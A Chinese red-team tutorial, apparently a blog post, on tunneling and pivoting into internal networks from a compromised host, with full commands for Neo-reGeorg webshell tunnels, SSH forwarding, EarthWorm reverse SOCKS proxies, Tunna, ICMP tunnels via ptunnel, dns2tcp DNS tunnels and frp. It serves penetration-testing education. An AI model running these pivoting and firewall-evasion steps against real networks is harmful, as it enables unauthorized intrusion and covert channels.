红蓝对抗之隧道技术第二篇(reGeorg内网穿透、SSH隧道本地Socks代理、SSH远程转发、Earthworm Socks5代理、Tunna正向代理、ICMP隧道、DNS隧道、Frp穿透)

隧道应用

在进行内网渗透时,由于外网主机无法直接连接内网主机,所以需要使用隧道技术来搭建连接通道访问内网主机即内网穿透,本文为隧道应用的第二篇文章,第一篇链接

image-20211217203519224

reGeorg内网穿透

image-20211219164648911

拓扑图中 A 是攻击者通过访问 B 的 80 端口获取了系统权限,C 数据库服务器在内网不能出网,但是 B 拥有双网卡和内网主机 C 在同一网段且能访问,为了访问 C 攻击者 A 在 B 设置了代理,之后 A 就能通过代理访问 C 的服务器以及 C 的整个内网网段,接下来演示使用 reGeorg 工具做代理

reGeorg 是一个能穿透内网的工具,基于 socks5 而且支持的脚本众多。可以说是内网穿透神器,但是作为使用率较多的软件,杀软都会拦截,使用还要做免杀处理,现有一个项目是由 reGeorg 修改而来,而且做了加密处理,脚本也免杀

  • 项目地址:https://github.com/L-codes/Neo-reGeorg
  1. 进入项目目录,打开终端,在使用之前首先生成 key

    python3 neoreg.py generate -k password
    

    会生成很多文件,这些文件均免杀

    image-20211219170720265

  2. 选择合适的文件放置到跳板机 B 上,可以使用浏览器访问确认文件存在(b服务器需要能够解析 aspx)

    image-20211219172357868

  3. 攻击者启动代理

    python3 neoreg.py -k password -u http://192.168.179.131/tunnel.aspx
    

    image-20211219172059796

    启动代理后,可以使用 proxychains 进行端口扫描,需要先修改配置文件

    image-20211219175315568

    浏览器访问需要设置代理(插件 FoxyProxy)

    image-20211219175940541

    image-20211219175955709

SSH本地转发(正向)

Linux 下没有 netsh 命令,linux 环境下可以使用 ssh 来实现转发

场景一

A 访问内部网络的 C 服务器的 80 端口

image-20211219201624335

在 A 服务器上执行命令,在 B 上建立转发

ssh -L 本地端口:目标 IP:目标端口 username@ip -fN
# ssh -L 8080:10.0.0.4:80 ocean@192.168.179.141 -fN
# 账号密码为服务器 B 的账密

之后访问本地的 8080 端口即可访问 C 数据库服务器的 80 端口,注意只能在本机访问,其他主机访问攻击者的 IP 是无效的

场景二

把目标的端口转发出来

例如 mysql 服务器只允许本地访问 在外部不能访问。这就很好地保护了 mysql 免受外部攻击

ssh -L 本地端口:目标IP:目标端口 username@IP -fN
# ssh -L 3306:localhost:3306 username@192.168.179.141 -fN

SSH远程转发(反向)

1.首先在 B 修改配置文件

#攻击者执行命令 ssh moonteam@192.168.179.141
moonteam@moonteam-virtual-machine:~$ vim /etc/ssh/sshd_config
# GatewayPorts yes 如果没有请增加 如果请把 no 修改 yes
moonteam@moonteam-virtual-machine:~$ sudo /etc/init.d/ssh restart 或 service sshd reload  

这个配置的作用是远程转发后将 127.0.0.1 改为 0.0.0.0 A 通过指定端口就能访问 C

2.在 C 服务器上执行以下命令

ssh -R 本地端口:远程IP:远程端口 ssh服务器
# ssh -R 8080:10.0.0.4:80 10.0.0.3
输入密码后可以将 10.0.0.4:80 反向转发至 10.0.0.3 的 8080 端口

可以看到一条 0.0.0.0:8080 端口的记录

image-20211219221108116

攻击者可以访问 B 的 8080 端口

image-20211219221515851

Earthworm Socks5代理

EW 是一套便携式全平台的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透

官网:https://rootkiter.com/EarthWorm,目前停止更新且已不能下载,特征已被加入杀毒软件规则各大防火墙均可以拦截查杀

Github第三方下载地址:https://github.com/idlefire/ew

image-20211220130325406

该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处

正向代理

实验环境

image-20211220133919491

将 ew win 版放到受害主机 B 上,使用以下命令启动代理

ew_for_Win.exe -s ssocksd -l 8888

image-20211220132542898

启动代理后,如果攻击者想要访问内网主机,还需要在攻击机设置/etc/proxychains.conf文件

vim /etc/proxychains.conf

最后一行,IP 为代理机的 IP 即 B 的 IP,端口为代理端口

socks5 192.168.179.131 8888

image-20211220133128988

设置后使用代理访问即可

proxychains nmap -Pn -sT 10.0.0.2 -p 80

image-20211220133420029

反向代理

image-20211220135233375

如果内网存在防火墙,正向连接很可能会被拦截,这是可以使用反向代理来突破防火墙限制,从内部连接外部

  1. 在受害者 B 上执行命令,开启端口转发

    ew_for_Win.exe -s rcsocks -l 8888 -e 1024
    
  2. 在内网主机 C 上执行命令,开启代理

    ew_for_Win.exe -s rssocks -d 10.0.0.3 -e 1024
    

    image-20211220134741323

  3. 攻击者修改配置文件在/etc/proxychins.conf增加socks5 192.168.179.131 8888

设置完毕后攻击者即可使用代理访问内网主机 C,但是整个过程需要三方都参与,而且需要内网主机上传 EW 和启动,无疑是复杂度提升,适用于已经拿到内网主机权限的情况

image-20211220135118295

Tunna正向代理

Tunna 是一款 Python 编写的可以封装和隧道化 HTTP 上的任何 TCP 通信的代理工具,可以用来绕过防火墙环境中的网络限制

项目地址:https://github.com/SECFORCE/Tunna

python proxy.py -u -l [options]
选项
--help, -h 显示帮助消息并退出。
--url=URL, -u URL 远程 webshell
--lport=LOCAL_PORT, -l LOCAL_PORT 本地监听端口
--verbose, -v 输出数据包大小
--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP 请求大小(一些 webshels 对大小
有限制)
没有 SOCKS 代理的选择,如果使用 SOCKS 代理,则忽略此选项
--no-socks, -n 不用 SOCKS 代理
--rport=REMOTE_PORT, -r REMOTE_PORT 连接 webshell 服务的远程端口
--addr=REMOTE_IP, -a REMOTE_IP 远程 webshell 连接地址(默认为 127.0.0.1)

注:Tunna 代理并不是非常稳定,经常出现掉线情况,尤其是使用 Tunna 代理远程连接的流量时,经常掉线。但是使用 Tunna 访问内网 web 服务还算稳定

image-20211220140702249

  1. 首先在受害者 B 网站目录上传匹配的 webshll,webshell 在工具的 weshells 目录内

    image-20211220140840001

    我使用的环境为 aspx,上传之后可以在浏览器访问验证

    image-20211220140956915

  2. 攻击者使用命令开启代理,python2

    python2 proxy.py -u http://www.demo1.com/conn.aspx -l 4444 -a 10.0.0.2 -r 80 -v
    

    image-20211220142430185

ICMP隧道

在一些网络环境中,如果不经过认证,TCP 和 UDP 数据包都会被拦截。这种情况下如果用户可以 ping 通远程计算机,就可以尝试建立 ICMP 隧道,将 TCP 数据通过该隧道发送,可以实现不受限的网络访问。用户需要在受限制网络之外,预先启动该工具建立代理服务器。再以客户端模式运行该工具,就可以建立 ICMP 隧道。为了避免该隧道被滥用,用户还可以为隧道设置使用密码

  1. icmptunnel 可以将 IP 流量封装进 IMCP 的 ping 数据包中,旨在利用 ping穿透防火墙的检测,因为通常防火墙是不会屏蔽 ping 数据包的
  2. 请 求 端 的Ping 工 具 会 在ICMP 数 据 包 后 面 附 加 上 一 段 随 机 的 数 据 作 为Payload,而响应端则会拷贝这段 Payload 到 ICMP 响应数据包中返还给请求端,用于识别和匹配 Ping 请求
  3. 在使用 ptunnel 进行内网穿透时,客户端会将 IP 帧封装在 ICMP 请求数据包中发送给服务器,而服务器端则会使用相匹配的 ICMP 响应数据包进行回复。这样在旁人看来,网络中传播的仅仅只是正常的 ICMP 数据包

image-20211220163814626

a 与 b 能互通 b 与 c 能互通 a 与 c 之间有防护墙拦截禁用 TCP 协议 但是 A 能 ping同 c 由此判断防火墙没有对 icmp 协议进行封禁,因此可以用 imcp 隧道技术,三台主机均为 linux

  1. 在 b 上执行命令创建隧道

    ptunnel -x 123456
    # -x 指定密码
    
  2. 攻击者执行以下命令

    ptunnel -p 192.168.179.131 -lp 8080 -da 192.168.179.151 -dp 80 -x 123456
    -p 接目的地址即跳板主机B的地址
    -lp 即 localport 本地端口
    -da 要连接的远程主机C地址
    -dp C的端口
    -x 连接密码
    

    攻击者 A 使用浏览器访问访问 127.0.0.1 的 8080 端口,内容为 C 的 80 端口

用户可以使用 iptables 封禁 tcp 协议

iptables -A INPUT -p tcp -s 192.168.0.143 -j DROP

DNS隧道

DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在 DNS 协议中传输建立通信。因为在我们的网络世界中 DNS 是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤 DNS 流量,这就给 DNS 作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明 DNS Tunneling 也经常在僵尸网络和 APT 攻击中扮演着重要的角色,比如 CS 中使用的 DNS beacon

image-20211221124826266

常用的DNS隧道工具:

  • dns2tcp:支持直连模式的DNS隧道,只实现了简单的DNS隧道,相关命令和控制服务需要自行搭建,且已在kali系统中直接集成。
  • iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择
  • Dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能

接下来介绍 dns2tcp 的使用方法

dns2tcp 是一个利用 DNS 隧道转发 TCP 连接的工具,支持 KEY 和 TXT 类型的请求,用 C 语言开发。它分为两个部分,服务端和客户端,服务端运行在 linux服务器上,客户端可以运行在 linux 和 windows 上(其他平台没有测试过),编译完成后在服务端上的可执行文件名称为 dns2tcpd,在客户端(linux)上的名称为dns2tcpc,kali 默认安装了二者

项目地址:https://github.com/alex-sector/dns2tcp

其实之前说过 CS 的 DNS Beacon,整个流程和这个类似,原理可以看这篇文章,链接

-F 强制在在台运行,默认在后台
-i IP address 监听 ip,默认 0.0.0.0
-f 配置文件 指定使用的配置文件路径
-d debug level 指定调试级别,输出相关级别日志,默认为 1,2,3
dns2tcpc
-c: 启用压缩
-z <domain>: 指定所使用的域名
-d <1|2|3>: 调试级别 (1, 2 or 3)
-r <resource>: 访问的目标资源
-f <filename>: 配置文件路径
-l <port|->: 本地监听端口
-T <TXT|KEY>: DNS 请求类型,默认为 TXT
配置文件 为了避免运行时指定太多的参数,可以通过指定配置文件来启动服务端。示例如下:
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = <domain.com>
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:127.0.0.1:3128
  1. 首先需要有自己的 VPS 和域名,添加一条域名解析记录指向自己的 VPS IP

    image-20211220210152315

    在添加一条 NS 记录指向 www 记录

    image-20211220210643961

    VPS 安全策略一定要开启 53 端口

    image-20211220205735227

  2. 在 VPS 上安装 dns2tcp

    # debian
    sudo apt-get install dns2tcp
    
    # centos 
    git clone https://github.com/alex-sector/dns2tcp.git
    tar zxf dns2tcp-0.5.2.tar.gz
    cd dns2tcp-0.5.2
    ./configure
    make & make install
    

    修改配置文件

    sudo vi /etc/dns2tcpd.conf
    
    listen = 0.0.0.0
    port = 53
    # If you change this value, also change the USER variable in /etc/default/dns2tcpd
    user = root
    key = 123456
    chroot = /tmp
    domain = dns.ocean888.cn
    resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25
    

    需要改的就是 user、key、domain、resources

  3. VPS 上运行 dns2tcp

    dns2tcpd -f /etc/dns2tcpd.conf -F -d 3
    
    -f:指定配置文件启动
    -F:指定dns2tcp工具运行在前台
    -d:指定调试日志打印等级
    

    下图为正常启动

    image-20211220212405619

    到此服务端配置完毕

  4. 配置客户端启动

    我这里用的 linux,windows 需要使用编译好(或下载)的 EXE 可执行程序的目录下打开 powershell 窗口,并执行如下启动命令,工具可以在文末链接下载

    dns2tcpc -r ssh -k 123456 c2 -z dns.ocean888.cn 121.196.173.211 -l 5353 -d 2
    
    -k:密码
    -r:指定要使用的服务端配置的资源对应的名
    -z:配置为建立DNS隧道使用的域名
    -l:指定隧道客户端监听的本地端口
    -d:作用同服务端,输出2级调试信息
    

    命令中的 121.196.173.211 表示指定目标DNS服务器(也可以是DNS服务器的域名,但必须在上一级域名的DNS记录中正确配置了NS记录和A记录),若不指定则使用默认DNS进行解析

    image-20211220215941404

    使用 ssh 连接本地 5353 端口,就相当于访问服务器端 22 端口

    image-20211220220352841

    这样一条隐蔽隧道就搭建起来了

推荐阅读:

Frp穿透

frp 是一个可用于内网穿透的高性能的全平台反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网

frp 采用 Golang 编写,支持跨平台,仅需下载对应平台的二进制文件即可执行,没有额外依赖

Frp 分为服务端和客户端

  • 服务端只能为 Linux 负责处理请求,转发流量
  • 客户端 linux 和 windows 都支持 负责把本地的流量连到服务器,让服务器读取&写入

测试环境如下

image-20211221131639020

主机 C 在内网,攻击者不能直接访问,如果想要访问内网主机可以把其端口映射到公网主机上,因
为这种方式是从 C 内部发起请求的,所以很好的穿透防火墙

  1. 在公网 VPS 上搭建服务端

    wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_amd64.tar.gz
    tar zxvf frp_0.33.0_linux_amd64.tar.gz
    mv frp_0.33.0_linux_amd64 frp
    cd frp
    

    配置服务端文件 frps.ini

    [common]
    bind_port = 7777
    token = ocean1234
    

    客户端连接的端口、token 为连接密码,使用命令启动服务端

    ./frps -c frps.ini
    # 如果版本不正确无法启动
    

    image-20211221130345860

    以上服务端配置完毕,frps 启动后将监听监听 7000 端口,用 ps aux 查看进程信息 和 netstat antl 端口

    经常使用的话可以设置开启自启

    设置开机启动
    vi /lib/systemd/system/frps.service
    [Unit]
    Description=fraps service
    After=network.target syslog.target
    Wants=network.target
    [Service]
    Type=simple
    #启动服务的命令(此处写你的 frps 的实际安装目录)
    ExecStart=/root/frp/frps -c /root/frp/frps.ini
    [Install]
    WantedBy=multi-user.target
    #启动 frpc
    systemctl daemon-reload
    systemctl start frps
    #设置为开机启动
    systemctl enable frps
    
  2. 客户端下载系统对应合适版本 frp,下载之后配置 frpc.ini 文件

    [common]
    server_addr = 112.12.179.138  #服务器的 IP
    server_port = 7777  # Frp 服务的端口
    token = ocean1234 #连接的密码
    
    [web] #服务器名
    type = tcp  #连接协议类型
    local_ip = 127.0.0.1  #访问的 ip 可以是内网任何一个 ip
    local_port = 80 # 本地端口
    remote_port = 7000 # 想要映射到远程服务器的端口
    

    注:配置文件中不要出现注释

    正常启动

    image-20211221133323593

  3. 因为内网主机 80 端口存在业务,frp 启动成功后可以在浏览器访问 B 的 7000 端口,这样就成功将内网主机的 80 端口通过建立 Frp 内网穿透映射到了 B 的 7000 端口

    image-20211221133707828

注意:VPS 的7000 和 7777 端口需要在服务器安全组中放开

image-20211221130606098

稍后会更新一篇使用 Frp 多层内网通信隧道搭建的文章深入探索 Frp 这款工具

推荐阅读&工具包

  • 4
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OceanSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值